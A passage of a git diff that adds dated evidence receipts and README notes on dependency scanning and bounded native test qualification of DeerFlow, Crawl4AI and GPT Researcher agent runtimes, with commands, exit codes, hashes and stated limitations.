diff --git a/evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json b/evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json new file mode 100644 index 000000000..6f2a39529 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json @@ -0,0 +1,66 @@ +{ + "schema_version": 1, + "record": "runtime-source-reconciliation-20260930", + "observed_utc": "2026-09-30T18:56:26Z", + "base_revision": "8fc86119eacfd5be9b8a139e1ed167d85748091b", + "evidence_class": "local_integration", + "source_references": [ + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/8fc86119eacfd5be9b8a139e1ed167d85748091b/.github/workflows/security-scan.yml", + "https://github.com/OpenHands/software-agent-sdk/tree/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "https://github.com/jpadilla/pyjwt/tree/1d41a6478e1562e68ff667fcd703356acf085f68" + ], + "candidate_requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "candidate_pins_sha256": "a8af5f14f9cffadb25d39569e1a8e19a41f480d16482a665158b62641484abef", + "checks": [ + { + "command": "python3 -B -m unittest tests.test_runtime_worker_openhands tests.test_openhands_150 tests.test_runtime_worker_crawl4ai tests.test_runtime_worker_deerflow tests.test_runtime_worker_gpt_researcher tests.test_runtime_worker_skills tests.test_osv_lockfile_coverage tests.test_workflow_hardening", + "exit_code": 0, + "test_count": 360, + "skipped": 6, + "returned_summary": "Ran 360 tests in 48.574s; OK (skipped=6)", + "original_output_sha256": "96df0012f5da19d76753018baa4a8f1b8238f0e7298639256ff6115ec0dea247" + }, + { + "command": "python3 -B -m unittest tests.test_convergence_contract", + "exit_code": 0, + "test_count": 35, + "skipped": 0, + "returned_summary": "Ran 35 tests in 0.284s; OK", + "original_output_sha256": "aaaa2029c97e5f79c94e8c56cf1f3b48aa056844f131e28fd51295ad144b508d" + }, + { + "command": "Unchanged extracted Scan every listed lockfile and manifest run block, WRITE_SARIF=false, pinned native OSV binary", + "exit_code": 0, + "step_sha256": "bc092b630dabd7794baa26d5f7ecfa28934c76acc4e27745b9c914d106cc92f7", + "scanner_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "inventory_count": 56, + "scanned_lines": 56, + "stdout_sha256": "adae99ebb23b378e14f47a16033c6b98393b31c6ee889454570c7ab5aee71b69", + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + ], + "output_retention": "Exact original native output streams retained privately outside the checkout; public returned summaries are bounded extracts, not original full streams.", + "retained_failures": [ + { + "phase": "Publication integrity before final re-registration", + "exit_code": 1, + "result": "Two edited files retained stale registered SHA256/byte-count bindings. Re-registering the owned paths restores consistency; no allowlist or validator bypass." + }, + { + "phase": "Local extraction wrapper setup before scanner execution", + "exit_code": 1, + "result": "Reduced PATH could not resolve rtk. Replaced the wrapper's launcher with its resolved absolute installed path; no scanner ran in the failed attempt and the native workflow bytes remained unchanged." + } + ], + "limitations": [ + "The tests are repository integration fixtures, not upstream tests or live runtime execution.", + "Six explicit skips remain in the runtime/workflow suite.", + "The native workflow check runs table mode only; prior independent unchanged-step SARIF controls remain separate evidence.", + "New published-head candidate artifact review, final hosted checks and owner acknowledgements remain pending.", + "No model, provider, image, private-home preparation, host deployment, independent observer, whole-task usage or token-saving acceptance." + ], + "usage": { + "provider_tokens": null, + "new_model_calls": 0 + } +} diff --git a/evidence/artifacts/osv-scope-followup-20260930/workflow-binding-addendum.json b/evidence/artifacts/osv-scope-followup-20260930/workflow-binding-addendum.json new file mode 100644 index 000000000..8e65c576c --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/workflow-binding-addendum.json @@ -0,0 +1,73 @@ +{ + "schema_version": 1, + "record": "runtime-native-split-workflow-binding-addendum-20260930", + "observed_utc": "2026-09-30T19:39:26Z", + "evidence_class": "source_reconciliation", + "observed_source_head": "7c0df369f6aaeb263fc25576dbedfbfada74b6ab", + "merged_split_base": "8fc86119eacfd5be9b8a139e1ed167d85748091b", + "historical_observation": { + "receipt": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", + "receipt_sha256": "1ce7403ba115e59100dea0ca6d913b978aa0fc175386b656d0e04668095acb3b", + "observed_utc": "2026-09-30T17:23:50.486587+00:00", + "source_baseline": "6ca5863516d0b07748f41be2a2635fbe0211d1c3", + "workflow": { + "path": ".github/workflows/security-scan.yml", + "bytes": 9268, + "sha256": "88a47e2cf7c16078331a4052c08bf88bc10ed9c70c167d863cd8e581c1a0ef14" + }, + "meaning": "The original bound_files entry identifies the pre-PR #546 workflow used by that dated observation. The public source at 00aa6c25fe6f27e9f5974e9f6a5592aa31683479 has the same 9268 bytes and SHA256; the original local source_baseline remains unchanged. This does not identify or accept the later native-split workflow. Original receipt, commands and outputs remain unchanged." + }, + "reconciled_inputs": [ + { + "path": ".github/workflows/security-scan.yml", + "bytes": 11346, + "sha256": "1df67c92865aa16f53cbb9b451fa3fa82a83a50950dc20a8efeea227f93f6240" + }, + { + "path": ".github/osv-scanner.toml", + "bytes": 7630, + "sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8" + }, + { + "path": ".github/osv-scanner-frozen-macos.toml", + "bytes": 2547, + "sha256": "6b093b4320cc481c4b1d5722648ab37fba4a5b50d0553c62c936e1a78e0edbf2" + }, + { + "path": ".github/osv-scanner-lockfiles.json", + "bytes": 15772, + "sha256": "b83f592b45e963fdee3f829a14243dbf33fc24277ca6366a1579e39aa04ba757" + } + ], + "inventory_description_change": "Canonical description explicitly permits evidence-bound captured native resolver/probe inputs not consumed by shipped installation recipes. Lockfile rows, parser arguments, frozen assignments and all four captured constraints exclusions are unchanged from observed head 7c0df369.", + "native_current_workflow_evidence": { + "receipt": "evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json", + "receipt_sha256": "09b581401d0a172a6baeee59f7680e88d69136cfc972e501a107bde94f459aec", + "observed_utc": "2026-09-30T18:56:26Z", + "step_sha256": "bc092b630dabd7794baa26d5f7ecfa28934c76acc4e27745b9c914d106cc92f7", + "exit_code": 0, + "inventory_count": 56, + "ordinary_count": 55, + "frozen_count": 1, + "meaning": "Separate retained native execution on the current split step and expanded inventory. Description-only reconciliation does not rerun this observation." + }, + "config_comparison": "Ordinary config has five explanatory NLTK comments compared with the merged split base; parsed TOML policy, IDs and expiries are identical. Frozen config and workflow are byte-identical to that base.", + "candidate_identity": { + "requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "pins_sha256": "a8af5f14f9cffadb25d39569e1a8e19a41f480d16482a665158b62641484abef", + "declared_packages": 176, + "native_scanner_recognized_packages": 174, + "meaning": "Current package closure, runtime code and nine reviewed OAuth source identities are unchanged by this addendum." + }, + "sources": [ + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/00aa6c25fe6f27e9f5974e9f6a5592aa31683479/.github/workflows/security-scan.yml", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/8fc86119eacfd5be9b8a139e1ed167d85748091b/.github/workflows/security-scan.yml", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/7c0df369f6aaeb263fc25576dbedfbfada74b6ab/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", + "https://github.com/google/osv-scanner/blob/v2.6.0/docs/configuration.md" + ], + "limitations": [ + "This addendum is a dated source/binding reconciliation, not new upstream or scanner execution.", + "BC's actual bounded review reply is reported separately until its original-output public receipt lands.", + "No new advisory ID, expiry extension, active-lock exclusion, installer change, model/image/provider execution, host deployment, observer/task-quality qualification or usage claim." + ] +} diff --git a/evidence/artifacts/runtime-roster-20260930/README-deerflow.md b/evidence/artifacts/runtime-roster-20260930/README-deerflow.md new file mode 100644 index 000000000..d6ab340d2 --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/README-deerflow.md @@ -0,0 +1,27 @@ +# DeerFlow bounded native qualification — 2026-09-30 + +The fresh private backend install passed 309 unchanged upstream unit tests. The separately installed GAIA grader passed its eight unchanged scorer unit tests. The backend dependency checker still exits 1 for the explicit upstream WebSocket override, so this record is partial native qualification. Actual sanitized returned output and all exits are in [deerflow-native.json](deerflow-native.json). + +The selected source remains **bytedance/deer-flow v2.1.0**, commit `345f08be00c8a9495079b732a39b46aa9af1584e`. The current release API returned v2.1.0; the downloaded archive and both recipe lockfile hashes matched [pins.json](../../../blueprints/runtime-workers/deerflow/pins.json). Source byte comparison after execution found no changes in any of its 2,964 originally shipped regular files. + +| Check | Native command / selection | Exit | Returned result | +| --- | --- | ---: | --- | +| Backend installation | `rtk uv sync --locked --python 3.13` in the pinned backend | 0 | Installed 227 packages | +| Backend unit subset | `rtk uv run --no-sync python -m pytest -m "not live" tests/test_model_factory.py tests/test_mcp_client_config.py tests/test_client.py -q` | 0 | 309 passed, 1 warning in 8.84s | +| Installed CLI | `rtk uv run --no-sync deerflow --help` | 0 | Native terminal-workbench options returned | +| Backend dependencies | `rtk uv pip check --python /bin/python` | 1 | langgraph-sdk requires websockets >=14,<16; 16.0 installed | +| Grader installation | Existing `recipe.py:install_grader` helper into a fresh prefix | 0 | Exact inspect-ai 0.3.271 / inspect-evals 0.22.0; pip check found no broken requirements | +| Grader scorer subset | `rtk uv run --no-sync python -m pytest tests/gaia/test_scorer.py -q` in the pinned Inspect Evals source | 0 | 8 passed, 1 warning in 0.22s | +| Grader dependencies with dev runners | `rtk uv pip check --python /bin/python` | 0 | 110 installed packages compatible | + +Upstream supports the locked backend installation in [backend/Makefile:5–6](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Makefile#L5-L6) and the non-live pytest lane in [Makefile:22–29](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Makefile#L22-L29). The metadata incompatibility comes from the unchanged [explicit WebSocket override](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/pyproject.toml#L91-L106). Its explanation is source evidence; the failed dependency check remains recorded. + +GAIA uses **UKGovernmentBEIS/inspect_evals v0.22.0**, commit `41c72eaa2b807ce43f35fac6f3f399318adc7e9d`, and its original [tests/gaia/test_scorer.py](https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/tests/gaia/test_scorer.py). The [GAIA README](https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/src/inspect_evals/gaia/README.md#L14-L26) supplies the install method; the existing recipe supplies the unchanged wheel-only hash lock. Native pytest runner versions came from the same source's [dev dependencies](https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/pyproject.toml#L421-L440) and [uv.lock](https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/uv.lock). The recipe's Inspect AI 0.3.271 differs from the source lock's 0.3.263; the source lock was preserved, not synced in full. + +The installed grader scorer bytes matched the pinned scorer source. Independent archive comparison confirmed all 3,973 originally shipped Inspect Evals regular files unchanged. Both native pytest commands also ran before their required test dependencies existed and returned exit 1 (“No module named pytest”); those prerequisite controls and their later passing runs are retained separately. + +These are upstream unit tests, including their upstream mocks and synthetic scorer targets. Other backend suites, live APIs, Docker services, server lifecycle, MCP connections, native worker skill discovery, gated GAIA data and model execution were not exercised. Provider usage is unknown. Local archive/hash observations and the local grader installer remain distinct from the upstream pytest results. + +Installation, tests, installed help and dependency checks used a newly created private prefix, fresh HOME/XDG/cache/state paths and an explicit environment without provider credential variables. Grader tests set `HF_HUB_OFFLINE=1`, `HF_DATASETS_OFFLINE=1` and `UV_PROJECT_ENVIRONMENT=`. Raw returned streams remain private; this public receipt substitutes paths, strips color and labels every output projection. No global configuration or service activation occurred. + +One recorder correction is retained: the archive extraction originally recorded a shortened relative archive argument; it now names the actual absolute argument with a private-path placeholder. The original private record hash and verification path are in the receipt. No test was replayed. diff --git a/evidence/artifacts/runtime-roster-20260930/README.md b/evidence/artifacts/runtime-roster-20260930/README.md new file mode 100644 index 000000000..bbffac592 --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/README.md @@ -0,0 +1,42 @@ +# Runtime roster qualification, 2026-09-30 + +These are bounded native observations for three source-pinned candidates. They +do not promote a default SDK or certify an entire research/review workflow. +Native installation, selected unchanged upstream tests, local integration +fixtures and provider execution remain distinct. + +| Candidate and source | Returned native evidence | Remaining gate | +| --- | --- | --- | +| [GPT Researcher v3.7.0](https://github.com/assafelovic/gpt-researcher/tree/0957c301ed06c2a5857b834358c7227c739041d4) | 24 selected unchanged upstream tests passed; runtime/proxy/grader compatibility checks passed for 198/68/8 distributions | No model report, grounded-citation score or complete provider usage | +| [DeerFlow v2.1.0](https://github.com/bytedance/deer-flow/tree/345f08be00c8a9495079b732a39b46aa9af1584e) | Native backend install and CLI; 309 selected unchanged backend tests; 8 unchanged GAIA scorer tests | Backend `uv pip check` exits 1 for upstream's explicit websockets override; no service/model acceptance | +| [Crawl4AI v0.9.4](https://github.com/unclecode/crawl4ai/tree/133e1d92e37885dfccc03ea2e3687d06c98b7ceb) | One completed native model-free REST job; 16 unchanged extraction tests passed, 1 skipped, 4 network cases deselected; 99 distributions compatible with the explicit four-package test overlay | No integrated Responses caller/quality comparison; legacy Chat Completions extraction unqualified for the target route | + +The exact command outputs and artifact/source hashes are in +[gpt-researcher-native.json](gpt-researcher-native.json), +[deerflow-native.json](deerflow-native.json) and +[crawl4ai-native.json](crawl4ai-native.json). DeerFlow's +[detailed evidence note](README-deerflow.md) explains its retained failures and +native upstream override. Original logs, browser HTML and host state stay +outside the checkout. Public outputs replace private paths with placeholders; +native job/thread IDs and credential values are excluded. + +Crawl4AI now defaults to native model-free crawling. Its old LLM extraction path +is an explicitly selected historical comparison, rather than the reviewed +Responses path. The actual crawl's old receipt included unused model/route +metadata despite `llm_used: false`; that original receipt is retained by hash. +Current source removes the unused claim. Only the owned crawl container and +network were stopped and removed; independent native listings confirm absence. + +The three recipes retain bounded dispatch, host-owned state, scoped MCP tools, +native installers and recovery/cleanup examples. Generic `check`/`receipt` +module names in their local test loaders initially collided across recipe +families; the loaders now isolate imports. The stale SocraticCode path was +corrected to the canonical Linux 1.15.0 pin; 1.16.0 remains a separate candidate. +These are integration corrections, not new upstream features. + +No token saving is claimed. The crawl does not use an LLM; enclosing task, +research, retry and judge usage remains unknown where no authoritative native +counter is available. Historical engines-on aliases and embedding services +need fresh native discovery before a trial. Frozen quality tasks, negative +controls and complete attempt/judge accounting must pass before broader +adoption. Source installation or grader import alone does not pass that gate. diff --git a/evidence/artifacts/runtime-roster-20260930/crawl4ai-native.json b/evidence/artifacts/runtime-roster-20260930/crawl4ai-native.json new file mode 100644 index 000000000..01c73e3d1 --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/crawl4ai-native.json @@ -0,0 +1,207 @@ +{ + "schema_version": 1, + "kind": "bounded_native_qualification", + "component_id": "crawl4ai", + "date": "2026-09-30", + "lane": "foundation", + "status": "partial_native_qualification", + "source": { + "repository": "https://github.com/unclecode/crawl4ai", + "release": "v0.9.4", + "commit": "133e1d92e37885dfccc03ea2e3687d06c98b7ceb", + "image": "unclecode/crawl4ai@sha256:048848e548fad60c670bd656cbb3eb204fd999709a30365d3697c411ce50796d" + }, + "runs": [ + { + "id": "crawl-unchanged-extraction-tests", + "argv": [ + "rtk", + "/venv/bin/python", + "-m", + "pytest", + "tests/regression/test_reg_extraction.py", + "-q", + "-m", + "not network", + "-p", + "no:cacheprovider" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:41:51.798605+00:00", + "finished_at_utc": "2026-09-30T06:42:07.413259+00:00", + "exit_code": 0, + "stdout": "................s [100%]\n16 passed, 1 skipped, 4 deselected in 14.08s\n", + "stderr": "", + "original_output_sha256": { + "stdout": "a5a4dd4b2d975c47072d8a9739f73ed9bb3f5ab2fd5c0cccdd223692775c0bb0", + "stderr": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + { + "id": "crawl-pip-check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:42:07.413645+00:00", + "finished_at_utc": "2026-09-30T06:42:07.450189+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "Using Python 3.12.3 environment at: /venv\nChecked 99 packages in 2ms\nAll installed packages are compatible\n", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "84796fabc13989af173731d3d84e776e3fb7a63e562bee8fe05b1e3836a590ea" + } + }, + { + "id": "crawl-source-clean", + "argv": [ + "rtk", + "git", + "diff", + "--quiet" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:42:07.450586+00:00", + "finished_at_utc": "2026-09-30T06:42:07.719053+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + { + "id": "crawl-owned-container-absent", + "argv": [ + "rtk", + "docker", + "container", + "ls", + "--all", + "--filter", + "name=^/rw-crawl4ai-persistent$", + "--format", + "{{.Names}}" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:42:07.719472+00:00", + "finished_at_utc": "2026-09-30T06:42:07.763232+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + { + "id": "crawl-owned-network-absent", + "argv": [ + "rtk", + "docker", + "network", + "ls", + "--filter", + "name=^rw-crawl4ai-persistent-net$", + "--format", + "{{.Name}}" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:42:07.763584+00:00", + "finished_at_utc": "2026-09-30T06:42:07.808484+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + } + ], + "native_model_free_job": { + "evidence_class": "local_integration", + "upstream_operation": "/crawl/job native REST API and /job status polling", + "input_url": "https://example.com/", + "dispatch_start_exit_code": 0, + "dispatch_wait_exit_code": 0, + "passed": true, + "native_status": "completed", + "poll_count": 2, + "llm_used": false, + "usage": { + "status": "not_applicable" + }, + "content_quality_graded": false, + "original_artifact_sha256": { + "receipt.json": "d3464c30a545d71f8f20c5f55286c5d0568c63fad92323e4920826d08313ec4a", + "result.json": "bbc3b2b0959eb26f0b7faf219c72a191380806f70293062aafa9ba79e50cab4b", + "status.json": "a63d72eb9b9d06ab2fef1632d5f78eada3c0665daa71d12778b1eda4ceeca7d1", + "request.json": "3432977d1c00dcc4976059d0ffd07fe9cbf50d534028aeb164c95d68c321b940" + }, + "independent_observation": { + "method": "Native result bytes independently inspected, separate from wrapper passed flag.", + "result_top_level_keys": [ + "success", + "results", + "server_processing_time_s", + "server_memory_delta_mb", + "server_peak_memory_mb" + ], + "native_result_success_values": [ + true + ] + } + }, + "install_observation": { + "exit_code": 0, + "runtime_distributions": 95, + "test_overlay_distributions": 4, + "test_overlay_lock": "blueprints/runtime-workers/crawl4ai/test-requirements.lock", + "image_pull_exit_code": 0, + "container_start_exit_code": 0, + "owned_container_stop_and_remove_exit_code": 0, + "owned_network_remove_exit_code": 0, + "evidence_scope": "Actual installer/start/stop command output was observed in the session; persistent full install log retained privately. No other service was stopped." + }, + "upstream_test_sha256": { + "tests/regression/test_reg_extraction.py": "c8f62c39ae0490da6fe3dda4860ec867480889de732a082504ec908eeb3721c5", + "tests/regression/conftest.py": "6f95ec32824d50cb30be343efbce5dd3c77181e156c39ef8900a7e0d89e24e10" + }, + "corrections": [ + { + "mistake": "Dispatch defaulted to legacy native Chat Completions LLM extraction despite the reviewed Responses route.", + "verification": "Pinned extraction_strategy.py and utils.py plus local default-dispatch regression fixture.", + "change": "Default dispatch is now model-free crawl; legacy extraction remains an explicitly selected, unqualified comparison." + }, + { + "mistake": "The actual model-free job receipt carried unused model and gateway metadata.", + "verification": "Native result, llm_used false and dispatch implementation independently inspected.", + "change": "Current source emits route_applicability separate_responses_caller_only and does not validate or claim an unused model route. The retained original receipt is not rewritten." + } + ], + "qualification_boundaries": [ + "No LLM was called for the native crawl or upstream extraction tests.", + "The native Chat Completions extraction lane is not qualified for cx/gpt-6-astra-max.", + "No complete Responses caller/citation-quality benchmark was run.", + "WebSocket MCP bridge, optional embedding services and cross-host recovery remain unqualified.", + "Native content completion is not a grading result or a saving comparison.", + "The original native tests use upstream localhost fixtures; marked network cases were deselected." + ], + "usage": { + "native_crawl": "not_applicable", + "enclosing_task_provider_usage": null, + "token_savings": null + }, + "sanitization": [ + "Native job IDs and private host configuration omitted.", + "Raw HTML stays private; original artifact hashes retained.", + "Owned prefix/checkouts and home path replaced with placeholders." + ] +} diff --git a/evidence/artifacts/runtime-roster-20260930/deerflow-native.json b/evidence/artifacts/runtime-roster-20260930/deerflow-native.json new file mode 100644 index 000000000..34a2d683b --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/deerflow-native.json @@ -0,0 +1,938 @@ +{ + "schema_version": 1, + "kind": "bounded_native_runtime_qualification", + "component_id": "deerflow", + "date": "2026-09-30", + "lane": "foundation", + "status": "partial_native_qualification", + "outcome": { + "fresh_private_prefix": true, + "backend_install": { + "exit_code": 0, + "installed_distributions": 227 + }, + "backend_upstream_unit_tests": { + "exit_code": 0, + "passed": 309, + "failed": 0, + "skipped": 0, + "warnings": 1, + "returned_summary": "309 passed, 1 warning in 8.84s" + }, + "grader_install": { + "exit_code": 0, + "inspect_ai": "0.3.271", + "inspect_evals": "0.22.0" + }, + "gaia_upstream_scorer_unit_tests": { + "exit_code": 0, + "passed": 8, + "failed": 0, + "skipped": 0, + "warnings": 1, + "returned_summary": "8 passed, 1 warning in 0.22s" + }, + "backend_dependency_check": { + "exit_code": 1, + "status": "upstream_declared_override_reported_incompatible" + }, + "grader_dependency_check": { + "exit_code": 0, + "installed_distributions": 110 + }, + "native_model_execution": false, + "provider_usage": null, + "full_server_lifecycle": "not_exercised", + "docker_services": "not_exercised", + "gaia_dataset_task": "not_exercised" + }, + "source": { + "repository": "https://github.com/bytedance/deer-flow", + "tag": "v2.1.0", + "commit": "345f08be00c8a9495079b732a39b46aa9af1584e", + "latest_release_rechecked_at": "2026-09-30T05:59:14.565Z", + "latest_release_returned": { + "html_url": "https://github.com/bytedance/deer-flow/releases/tag/v2.1.0", + "published_at": "2026-09-24T10:40:44Z", + "tag_name": "v2.1.0", + "target_commitish": "main" + }, + "archive": { + "url": "https://codeload.github.com/bytedance/deer-flow/tar.gz/345f08be00c8a9495079b732a39b46aa9af1584e", + "sha256": "de309ec407d0b5b9ef1855a2cdcd97d9a9c2c95d0b0029cde6c79b9212518ffe", + "bytes": 26278334, + "matches_recipe_pin": true + }, + "selected_tests": [ + "backend/tests/test_model_factory.py", + "backend/tests/test_mcp_client_config.py", + "backend/tests/test_client.py" + ], + "omitted_tests": "All other backend tests, live external-API tests, Redis/Postgres integration, blocking-I/O tests and frontend tests.", + "references": [ + "https://github.com/bytedance/deer-flow/releases/tag/v2.1.0", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Makefile#L5-L6", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Makefile#L22-L29", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/README.md#L497-L514", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/pyproject.toml#L59-L106", + "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/tests/conftest.py#L21-L40" + ] + }, + "grader_source": { + "repository": "https://github.com/UKGovernmentBEIS/inspect_evals", + "tag": "v0.22.0", + "commit": "41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "archive": { + "url": "https://codeload.github.com/UKGovernmentBEIS/inspect_evals/tar.gz/41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "sha256": "8938d36b92a637f894f0aaa4e0c114f43d6851ff58f89176f3b29630ea3a322a", + "bytes": 97243856, + "hash_meaning": "Measured official commit-addressed archive; not an independently authenticated publisher signature." + }, + "recipe_hash_lock": "blueprints/runtime-workers/deerflow/e2e/requirements.lock", + "recipe_hash_lock_sha256": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "selected_test": "tests/gaia/test_scorer.py", + "scope": "Official unchanged scorer unit tests with upstream synthetic completions/targets. No dataset access, native eval task, solver or model execution.", + "test_runtime_difference": "Recipe lock installs Inspect AI 0.3.271; the Inspect Evals source uv.lock carries Inspect AI 0.3.263. The full upstream lock was not synced. Test runner direct package versions come from its unchanged dev group and uv.lock; the recipe runtime lock remains unchanged.", + "references": [ + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/src/inspect_evals/gaia/README.md#L14-L26", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/tests/gaia/test_scorer.py", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/src/inspect_evals/gaia/scorer.py", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/pyproject.toml#L421-L440", + "https://github.com/UKGovernmentBEIS/inspect_evals/blob/41c72eaa2b807ce43f35fac6f3f399318adc7e9d/uv.lock" + ] + }, + "environment": { + "os": "linux", + "architecture": "x86_64", + "python": "3.13.15", + "uv": "0.12.17", + "isolation": "Installation/tests/installed-help/dependency observations use a new private prefix, fresh HOME/XDG/cache/test state and an explicit child environment without credential/provider variables. Source/version/release preflights use the installed native tools.", + "upstream_version_difference": "DeerFlow CI pins uv 0.11.1 / Python 3.12; this bounded host run uses installed uv 0.12.17 / Python 3.13.15, within backend requires-python >=3.12.", + "backend_observation": { + "architecture": "x86_64", + "distribution_count": 227, + "platform": "linux", + "python": "3.13.15", + "versions": { + "deerflow-extension-api": "0.2.1", + "deerflow-harness": "2.1.0", + "langchain-openai": "1.2.1", + "langgraph-sdk": "0.4.2", + "pytest": "9.0.3", + "pytest-asyncio": "1.3.0", + "websockets": "16.0" + } + }, + "grader_observation": { + "architecture": "x86_64", + "distribution_count": 110, + "installed_scorer_sha256": "49999358fb9602d390024bf7040139c142af1bb61e18c15043aea2af84fad56d", + "platform": "linux", + "python": "3.13.15", + "versions": { + "inspect-ai": "0.3.271", + "inspect-evals": "0.22.0", + "pytest": "9.1.1", + "pytest-asyncio": "1.3.0", + "pytest-cov": "7.1.0", + "pytest-custom-exit-code": "0.3.0", + "pytest-dotenv": "0.5.2", + "pytest-mock": "3.15.1", + "pytest-reportlog": "1.0.0", + "pytest-rerunfailures": "16.1", + "pytest-xdist": "3.8.0" + } + }, + "grader_test_environment": { + "UV_PROJECT_ENVIRONMENT": "/grader", + "HF_HUB_OFFLINE": "1", + "HF_DATASETS_OFFLINE": "1" + }, + "persistent_activation": "none" + }, + "research": { + "skills_applied": [ + "search-first", + "context-mode" + ], + "discovery": "Available skill/tool descriptions and existing DeerFlow research/pins reviewed; retained the user-selected source rather than authoring a runtime. No new skill or global client configuration installed.", + "installed_commands": [ + "rtk uv --version", + "rtk python3 --version", + "rtk uv sync --help", + "rtk uv run --no-sync deerflow --help" + ], + "capability_claim_depth": "Actual native dependency installation and selected unchanged upstream unit tests; no full server, workflow or model acceptance.", + "lifecycle_reference": "adoption/lifecycle.md", + "acceptance_policy": "docs/acceptance-evidence-policy.md", + "recipe_used": "blueprints/runtime-workers/deerflow/recipe.py:install_grader", + "install_basis": "DeerFlow backend/Makefile uv sync --locked; Inspect Evals GAIA README pip install; existing recipe expands its unchanged wheel hash lock through Python venv/pip.", + "evidence_helper_basis": [ + "adoption/lifecycle.md#choose-the-host-and-retain-the-inputs", + "docs/acceptance-evidence-policy.md#preserve-the-returned-result", + "https://docs.python.org/3.13/library/tarfile.html#tarfile.TarFile.extractfile" + ] + }, + "independent_observation": { + "archive_source_comparison": { + "all_original_files_unchanged": true, + "sources": [ + { + "mismatches": [], + "original_regular_files_compared": 2964, + "source": "deerflow" + }, + { + "mismatches": [], + "original_regular_files_compared": 3973, + "source": "inspect_evals" + } + ] + }, + "grader_installed_scorer_matches_pinned_source": true, + "input_sha256": { + "deerflow/backend/uv.lock": "3cc643cd34374384c62de7fd8cef49cc4608df01ea11eff85daeea51f5cf0d5f", + "deerflow/frontend/pnpm-lock.yaml": "cee8007d2e1b10eb84c853971130cbb8ba5e0893fd0c0a381f840e77b6a2ed5b", + "deerflow/backend/pyproject.toml": "293f4ce381f8fde321197ca46216a413f684fb8246c3294bf6579e8420977d85", + "deerflow/backend/Makefile": "bdcc16a2a0188b82c6d1950e516bae7aed70b290f76c9512ae376c7789743593", + "deerflow/backend/tests/conftest.py": "88818d586500926444d0576e9b0f43a0124a9d76a138924848bd99e4672daaba", + "deerflow/backend/tests/test_model_factory.py": 